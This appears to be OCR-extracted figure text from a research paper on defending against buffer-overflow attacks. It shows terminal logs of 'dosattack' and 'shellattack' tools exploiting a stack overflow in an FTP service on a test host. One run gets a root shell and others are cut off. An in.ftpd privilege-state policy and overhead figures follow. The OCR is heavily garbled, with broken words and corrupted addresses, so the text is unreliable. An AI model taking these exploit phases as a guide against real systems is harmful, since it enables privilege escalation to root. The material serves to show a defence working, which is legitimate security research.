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[| b@®ecos rebootattack]$ ./dosattack -h192.9.200. 122 -utest -pl23

phase 1 - login... login succeeded

phase 2 - testing for vulnerability... vul nerable, continuing

phase 3 - finding buffer distance on stack... ########
found: 1080 (0x00000438)

phase 4 - finding source buffer address... #####HBHEHHBHHHHBHBHHBHHHHBHE
found: Oxbfffd79b

phase 5 - find destination buffer address... #####HHHHBHBHERHBHHBHHHHBHS
found: Oxbfffab30

phase 6 - calculating return address
retaddr = Oxbfffdo83

phase 7 - getting return address |ocation :
found Oxbfffcbac |

phase 8 - exploitation... '
using return address |ocation: Oxbfffcb4c a

len = 510 '

WEHEAL AL AR TS '
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[ b@ecos shellattack]$ ./shellattack -h192.9.200. 122 -utest -pl23
phase 1 - login... |login succeeded
phase 2 - testing for vulnerability... vul nerable, continuing
phase 3 - finding buffer distance on stack... ########
found: 1080 (0x00000438)
phase 4 - finding source buffer address... #####HBHHHHBHHHHBHBHHBHHBHBHS
found: Oxbfffd79b
phase 5 - find destination buffer address... #####HHHHBHHHHRHBHHBHHHHBHS
found: Oxbfffab30
phase 6 - calculating return address
retaddr = Oxbfffdo83
phase 7 - getting return address |ocation
found Oxbfffcb4c ]
phase 8 - exploitation... |
using return address |ocation: Oxbfffcb4c '
len = 510 :
ui d=0(root) gid=0(root) groups=501(test)
whoam :
r oot
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[| b@®ecos rebootattack]$ ./dosattack -h192.9.200. 122 -utest -pl23

phase 1 - login... |login succeeded

phase 2 - testing for vulnerability... vul nerable, continuing

phase 3 - finding buffer distance on stack... ########
found: 1080 (0x00000438)

phase 4 - finding source buffer address... #####HBHHEHHBHHHHRHBHHBHHHHBHE
found: Oxbfffd79b

phase 5 - find destination buffer address... #####HHHHBHBHERHBHHBHHHHBHS
found: Oxbfffab30

phase 6 - calculating return address
retaddr = Oxbfffdo83

phase 7 - getting return address |ocation ,
found Oxbf ffcb4c !

phase 8 - exploitation... '
using return address |ocation: Oxbfffcb4c L

len = 510 |

read renmote: Connection reset by peer i

[| b@&ecos rebootattack]$
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[ b@ecos shellattack]$ ./shellattack -h192.9.200. 122 -utest -pl23

phase 1 - login... login succeeded

phase 2 - testing for vulnerability... vulnerable, continuing

phase 3 - finding buffer distance on stack... ########
found: 1080 (0x00000438)

phase 4 - finding source buffer address... #####HBHBEHHBHHHHRHBHHBHHHHBHE
found: Oxbfffd79b

phase 5 - find destination buffer address... #####HHHHBHBHERHBHHBHHHHBHH
found: Oxbfffab30

phase 6 - calculating return address
retaddr = Oxbfffdo83

phase 7 - getting return address |ocation .
f ound Oxbfffchb4c F

phase 8 - exploitation... ’
using return address |ocation: Oxbfffcb4c :

len = 510 :

read remote: Connection reset by peer ‘

[ b@&ecos shell attack]$
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3.6.4 . E Mk (1)

#begi n_pr og
pat h: /usr/sbin/in.ftpd
#begi n_state
stateno: 1
canswitchto: { 2}
users:root root root root
groups:all all all all
control | ed syscalls:{ setxuid execve }
privileges:{
CPF_NET_BI ND _SERVI CE
CPF_SETXUI D_CALL
CPF_SETUI D

}

#begi n_param .
~ par am set xui d
setresuid
& unchange ! root unchange
#end param
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#begi n_state
stat eno: 2 N ON 1
canswitchto:{ 3 }
users:root !root root !root ;
groups:all all all all
controll ed syscalls:{ setxuid execve kill }
privileges:{ CPF_SETXU D CALL }

#begi n_par am i
par am set xui d
setresuid
unchange root unchange

#end_param

e

oy
L
P ey

~#end_state
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#begi n_state #begi n_param
stateno: 3 par.am.setxui d i
canswitchto:{ 2 4} setresuid f

groups:all all all al

1
control I ed syscalls:{ -

setuid :
ol deui d unchange unchange

set xui d
execve #end_par am
Ki Il #end state

}
privileges: {

.. CPF_SYS_CHROOT
CPF_ CHOMN
CPF_SETU D
CPF_SETG D

/.~ CPF_DAC_READ SEARCH

. 'CPF_SETXUI D CALL

— i
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#begi n_state
stateno: 4
canswitchto:{ }
users:!root !root !root !root
groups:all all all all
control |l ed syscal |l s:{ execve }
privileges:{ CPF_EXECVE CALL }

#begi n_param
par am execve
[var/fttp/bin/ls
[var/ftp/bin/conpress
[var/ftp/bin/tar

. Ivar/ ftp/bin/pwd

N, Y | [ var/ f t p/ bin/ get

e ——— © . Ibin/ls

.. #end_par am

, #end”state
#emduprog

| .l'u

'.“---a-.

Y

) Ui

— i
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CARE R ) 1.370 1.373 0.22%
sethostname |
N EE 1.098 1.365 24.32% i
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E open ' o j
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